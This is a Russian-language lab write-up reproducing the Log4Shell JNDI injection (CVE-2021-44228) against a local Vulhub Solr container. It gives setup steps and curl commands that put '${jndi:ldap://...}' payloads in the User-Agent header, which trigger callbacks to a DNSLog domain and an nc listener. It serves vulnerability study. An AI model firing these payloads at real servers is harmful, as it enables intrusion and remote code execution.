
CVE-2021-44228 уязвимость воспроизведение полная запись (включая настройку среды, запуск проверки)
Данная запись основана на полигоне Apache Solr 8.11.0, предоставленном Vulhub, и полностью воспроизводит уязвимость внедрения JNDI в Log4j2, успешно подтверждая её существование с помощью DNSLog и локального LDAP-прослушивания.
Операционная система: Windows 11 + WSL2 (Ubuntu)
Платформа контейнеров: Docker Desktop 4.76
Источник полигона: Vulhub (vulhub/log4j/CVE-2021-44228)
Целевая служба: Apache Solr 8.11.0 (содержит log4j-core 2.14.1)
Атакующий компьютер: локальный хост (одновременно выступает в роли клиента DNSLog и прослушивателя LDAP)
Из-за нестабильного прямого соединения с GitHub используется зеркало Gitee для ускорения:
cd D:\\SecWork
git clone https://gitee.com/hanxu2486/vulhub.git
2.2 Решение проблемы загрузки образов Docker при работе из-под китайского интернета
Настройка ускорителя зеркал Alibaba Cloud (войдите в систему управления образами контейнеров для получения персонального адреса):
Откройте Docker Desktop → Settings → Docker Engine
Измените registry-mirrors:
json
{
"registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}
Нажмите Apply & Restart
Если всё ещё возникает TLS handshake timeout, выполните в WSL sudo hwclock -s для синхронизации времени.
2.3 Запуск контейнера Solr
bash
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d
Вывод показывает успех:
text
✔ Image vulhub/solr:8.11.0 Pulled 117.7s
✔ Container cve-2021-44228-solr-1 Started
Перейдите по адресу http://localhost:8983/solr – появится интерфейс управления Solr, среда готова.
## 3. Шаги воспроизведения уязвимости
### 3.1 Создание тестового Core
По умолчанию в Solr нет core, его нужно создать вручную:
bash
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
Возвращается "status":0, core test успешно создан.
### 3.2 Проверка наличия уязвимости с помощью DNSLog
Откройте браузер и перейдите на http://dnslog.cn, нажмите Get SubDomain, получите временное доменное имя, например abc123.dnslog.cn
Выполните в командной строке (используйте curl.exe, чтобы избежать конфликта псевдонимов PowerShell):
bash
curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
Вернитесь на страницу http://dnslog.cn, нажмите Refresh Record – сразу появится запись DNS-разрешения, что доказывает наличие уязвимости.
### 3.3 Подтверждение с помощью локального прослушивания (углублённая проверка)
В WSL запустите прослушивание: nc -lvp 1389
Получите IP хоста (выполните ipconfig в Windows PowerShell, найдите IP виртуального сетевого адаптера WSL, например 172.30.208.1)
Отправьте вредоносный запрос с локальным IP:
bash
curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
Наблюдайте окно nc – отобразится информация о подключении:
text
connect to [172.30.208.1] from localhost [127.0.0.1] 54321
Это доказывает, что Solr успешно инициировал LDAP-запрос к атакующей машине – уязвимость воспроизведена.
## 4. Краткое описание принципа уязвимости
Функция JndiLookup, предоставляемая Apache Log4j2, позволяет использовать плейсхолдеры в формате ${jndi:ldap://...} в сообщениях журнала. При записи сообщения журнала Log4j2 обрабатывает этот плейсхолдер и пытается обратиться к удалённому LDAP-серверу через JNDI. Злоумышленник может создать вредоносный LDAP-сервер, возвращающий полезную нагрузку Java для десериализации, что позволяет выполнить удалённый код.
В данном воспроизведении, установив заголовок User-Agent в виде вредоносной нагрузки, Solr записывает этот заголовок при обработке запроса, что инициирует JNDI-запрос и доказывает наличие уязвимости.
## 5. Итоги эксперимента
✅ Успешно развёрнута среда уязвимости Vulhub, преодолены различные проблемы, связанные с работой из-под китайского интернета (перехват DNS, ускорение зеркал, синхронизация времени WSL и т.д.).
✅ Самостоятельно выполнено срабатывание уязвимости, подтверждено внедрение JNDI с помощью DNSLog и локального прослушивания двумя способами.
✅ Углублённое понимание принципа уязвимости Log4Shell и цепочки атаки через JNDI-внедрение.
✅ Получен практический опыт устранения неполадок в Docker-сети, настройки WSL2, очистки прокси Git и т.д.
## 6. Сводка по устранению неполадок
| Проблема | Коренная причина | Решение |
|---|---|---|
| git clone 502 / превышение времени ожидания соединения | Перехват DNS / помехи от прокси | Использовать зеркало Gitee, очистить прокси Git, обновить DNS |
| Docker pull образа 429 | Ограничение скорости публичного реестра | Настроить ускоритель Alibaba Cloud |
| TLS handshake timeout | Рассинхронизация времени WSL2 | sudo hwclock -s для синхронизации времени |
| Уязвимость не срабатывает | Не создан core или неправильное расположение нагрузки | Создать core, использовать заголовок User-Agent |
## 7. Полный список команд
bash
# Клонирование Vulhub (используя зеркало Gitee)
git clone https://gitee.com/hanxu2486/vulhub.git
# Переход в директорию уязвимости
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
# Запуск среды
docker-compose up -d
# Создание core Solr
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
# Проверка с DNSLog
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# Локальная проверка прослушиванием (запустите nc в WSL)
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# Остановка среды
docker-compose down
## 8. Ссылки
Официальный проект Vulhub
Подробности CVE-2021-44228
Платформа DNSLog
Дата составления: июнь 2026 г.
Автор: HanXu
Репозиторий: https://github.com/hmxh123/Log4Shell-Vulnerability-Replication